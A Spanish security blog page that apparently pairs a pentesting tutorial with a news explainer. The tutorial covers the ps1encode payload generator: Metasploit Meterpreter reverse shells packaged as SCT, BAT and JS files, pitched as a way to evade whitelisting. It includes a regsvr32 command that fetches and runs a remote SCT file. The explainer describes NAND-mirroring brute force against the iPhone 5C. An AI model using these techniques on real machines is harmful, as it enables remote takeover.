miércoles, septiembre 21, 2016

PS1Encode: Generar payloads en Powershell utilizando diferentes vías #Powershell #Pentesting

Hace unos días hablábamos de la posibilidad de utilizar un vector “diferente” para lograr evadir listas blancas y mecanismos de seguridad y conseguir ejecutar código en el equipo. Los archivos SCT nos proporcionaban esa vía, gracias a subTee. La herramienta ps1encode, escrita en el lenguaje Ruby, permite obtener una serie de payloads migrados desde Metasploit y preparados en el lenguaje que necesitemos. El objetivo final de dichos lenguajes es conseguir ejecutar una Powershell y lanzar el payload a través de ella.

Figura 1: PS1Encode. Generar payloads en Powershell usando distinto vías

Ya hemos hablado en otras ocasiones que Powershell nos da la posibilidad de evadir mecanismos de seguridad, por lo que probar ps1encode es, casi, una obligación. En el artículo vamos a ir viendo las diferentes posibilidades que presenta ps1encode, que como se verán no son pocas. La herramienta tiene un uso sencillo y puede ser descargada desde Github.

Figura 2: Ps1enconde en GitHub

Como se puede ver en la imagen, ps1encode dispone de diferentes opciones para generar código en diferentes formatos y lenguajes, como puede ser bat, vba, vbs, exe, javascript, php o sct. Es interesante recordar las posibilidades que nos ofrecía SCT, como vimos en el artículo de hace unos días. La aplicación ps1encode dispone de los siguientes parámetros:
• LHOST. Indica la dirección IP dónde devolver el control.
• LPORT. Indica el puerto local dónde se conectará el payload, en el caso de los reverse.
• PAYLOAD. Indica el tipo de payload a utilizar de Metasploit.
• ENCODE. Formato de salida, en el cual se debe incluir el payload seleccionado.
• La opción 32bitexe fuerza a crear un ejecutable de 32 bit con el payload. Lógicamente con el parámetro ENCODE se puede seleccionar diferentes formatos.
Figura 3: Opciones de ps1enconde

En muchas ocasiones, los payload generados con este tipo de herramientas permite evadir mecanismos de seguridad y generar menos ruido que otras muchas herramientas. Es importante analizar y ver el resultado final que nos proporciona ps1encode.

PoC: SCT con WebServer

Si nos fijamos en la documentación proporcionada por el creador de ps1encode, podemos ver que se puede obtener dos formatos que requieren de un servidor web externo. Son el caso de lnk y sct. Cuando generamos el fichero SCT obtenemos una salida similar a la que se puede ver en la imagen. Nos solicitan un servidor web para realizar la etapa de staging.

Figura 4: Configuración del fichero SCT

Es importante ver que el módulo exploit/multi/handler de Metasploit será el encargado de darnos ese staging de conexión, es decir, dónde va todo el código de Meterpreter en este caso. Como vemos nos solicitan una dirección URL, ésta deberá ser dónde se encuentre el módulo multi/handler de Metasploit a la escucha para entregar el staging. El fichero resultante es index.sct, el cual tiene un código sencillo. Simplemente tendremos que ejecutar en un sistema operativo Microsoft Windows la instrucción:

Figura 5: Ejecución del comando "regsvr32 /s /n /u /i:[dirección URL del fichero SCT generado] scrobj.dll"

Como podemos ver, el código a ejecutar en el cuerpo del SCT es un Javascript, el cual ejecuta una Powershell, la cual invocará un script codificado en BASE64 y negociará con el código del multi/handler devolviendo, finalmente, el control de la máquina Windows.

Figura 6: Invocación remota del fichero sct

Al ejecutar esto, si echamos un ojo al módulo multi/handler encontramos que tenemos la sesión disponible. En ese instante tenemos el control remoto de la máquina. Este tipo de ataques pueden ser muy útiles de juntar, por ejemplo, con Rubber Ducky o con Teensy.

Figura 7: Ejecución del exploit vía Metasploit

PoC: JS y Bat, otras posibilidades

Como hemos visto, ps1encoder permite ejecutar una sesión Powershell y el payload codificado en BASE64 desde diferentes tecnologías y plataformas. Ahora vamos a ver una pequeña prueba de concepto en Javascript y en BAT. Para el caso de un .bat, el resultado es muy sencillo, simplemente hay que invocar una Powershell y ejecutar el código en BASE64, por lo que apenas tiene construcción dentro de código propio de un .bat, tal y como se puede ver en la imagen. Para generar el código, solo tenemos que cambiar el tipo de formato de SCT a CMD.

Figura 8: Generación de fichero en formato CMD

Por último, tenemos la opción Javascript. Podemos generar un fichero Javascript, por ejemplo, con el nombre por defecto de index.js, y cuando éste sea ejecutado poder obtener una sesión de un Meterpreter.

Figura 9: Código JavaScript

La ejecución en este caso podría ser directa a través de la ejecución del fichero Javascript, lo cual proporciona un vector interesante para un atacante. Como hemos podido ver, la herramienta proporciona diferentes vías y técnicas para:
• Evadir mecanismos de protección mediante el uso de Powershell y payload codificados en base64 que se ejecutan directamente en memoria.
• Generar menos ruido que con el uso de otras herramientas en el entorno de auditoría.
• Utilizar técnicas menos conocidas que permiten pasar desapercibido en ciertos escenarios.
Las posibilidades de ps1encode son muy interesantes y es una de las herramientas que debemos llevar en la mochila en un ethical hacking. ¿La has probado?

Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking", "Got Root" y “Pentesting con Powershell

martes, septiembre 20, 2016

NAND Mirroring: O cómo el FBI se pudo hacer con la llave maestra del iPhone

El asunto del iPhone 5C y la NO colaboración por parte de Apple en el proceso de recuperación del passcode del terminal del llamado terrorista de San Bernardino llevó a que todo acabara en los tribunales y con el FBI pidiendo no ya la colaboración de Apple para desbloquear ese iPhone 5C sino una llave maestra para desbloquear cualquier terminal iPhone. La cosa se complicó mucho mediáticamente hasta que al final el FBI dijo que ya había conseguido acceso al terminal y decidió olvidar el asunto. ¿Cómo lo hizo? Las especulaciones al respecto fueron muchas y variadas. Desde el mundo de los investigadores de seguridad, hasta los amantes de los conspiraciones. Hoy hay una explicación técnica posible.

Figura 1: NAND Mirroring o cómo el FBI se pudo hacer con la llave maestra del iPhone

Lo único que teníamos anunciado públicamente era que el FBI había conseguido acceso y que además había ayudado con este "exploit" o "técnica" a otras unidades del gobierno que tenían el mismo problema con el mismo tipo de terminal. Para los que no recuerden el problema, el asunto radica en poder hacer un número de intentos ilimitados al passcode sin que se borre el disco duro cuando se alcance un número determinado de fallos. Es decir, lo que quería el FBI es que se anulara esa función del terminal por parte de Apple.

NAND Mirroring en iPhone 5C

Los investigadores de seguridad propusieron una técnica llamada NAND mirroring que permitía hacer este trabajo. De forma muy simplificada, la idea consiste en copiar la memoria del chip que controla el número de intentos de passcode. La NAND Memory. Después, se clona y todos los datos que contiene la memoria NAND original se ponen sobre otra memoria vacía. Esto hace que la memoria NAND original tenga el contador de intentos intacto al igual que la memoria NAND clonada. Después, se conecta la memoria NAND clonada al terminal y se prueba un número de passcodes sin llegar a alcanzar el límite máximo que lanza el proceso de borrado del disco, al que llamaremos límite de seguridad.

Figura 2: Analizador de señales conectado para clonar la NAND de un iPhone 5

Una vez alcanzado el límite de seguridad en los intentos, la memoria NAND clonada tiene el contador al límite, así que se vuelve a copiar sobre ella el contenido de la memoria NAND original que tiene el contador inicial y se vuelve a conectar al terminal iPhone 5C para continuar con otro conjunto de intentos hasta alcanzar el límite de seguridad. Así, el proceso se repite hasta poder dar con el passcode en un ataque de fuerza bruta.

Figura 3: Demostración del concepto de NAND Mirroring en iOS 9 de Jonathan Zdziarski

El proceso ya había sido demostrado y explicado en una simulación con un terminal iPhone 5C con jailbreak por parte del investigador Jonathan Zdziarski, pero ahora el investigador Sergei Skorogobatov de la Universidad de Cambridge ha publicado un paper y un vídeo en el que demuestra el proceso.
Para ello, ha tenido que decodificar las señales físicas de la memoria y hacer un proceso de ingeniería inversa de las señales para hacer un proceso de volcado de todas las posiciones de memoria del chip, al estilo que cuentan en Halt & Catch fire con la memoria de la BIOS de IBM. El proceso está explicado en detalle en el paper, que merece la pena que leas.

Figura 5: Demostración de NAND Mirroring en iPhone 5C de Sergei Skorogobatov

Este trabajo viene acompañado justo junto con la noticia de la demanda que han interpuesto un conjunto de abogados en defensa de las libertades de los ciudadanos para que el FBI dé explicaciones de cuál ha sido el proceso que ellos utilizaron para conseguir acceso al terminal iPhone 5C, puesto que quieren saber si cuentan con una llave maestra o no. 


Figura 6: Episodio de "Halt & Catch Fire" en el que se clona la BIOS de IBM

Sea como fuere, con la publicación de la técnica de NAND mirroring en iPhone 5C, estos terminales acaban de convertirse en los más inseguros junto con los iPhone 4, ya que en ambos casos existe forma demostrada y conocida de saltarse el passcode del terminal sin borrar los datos, así que la llave maestra que pedía el FBI ha sido entregada a todo el mundo. Ahora es cosa del usuario asumir el riesgo de tener uno de estos terminales o deshacerse de ellos.

Por supuesto, queda por ver si esta técnica se puede aplicar a terminales iPhone 4S, iPhone 5, iPhone 5S, iPhone 6, iPhone 6 Plus, iPhone 6S, iPhone 6S Plus y los flamantes iPhone 7 e iPhone 7 Plus y el resto de dispositivos con iPad, iPod Touch o Apple TV . Veremos.

Saludos Malignos!

Entrada destacada

Hacking IA: Jailbreak, Prompt Injection, Hallucinations & Unalignment. Nuestro nuevo libro en 0xWord

Pocas veces me ha hecho tanta ilusión que saliera un nuevo libro en 0xWord como con este libro de " Hacking IA: Jailbreak, Prompt Inje...

Entradas populares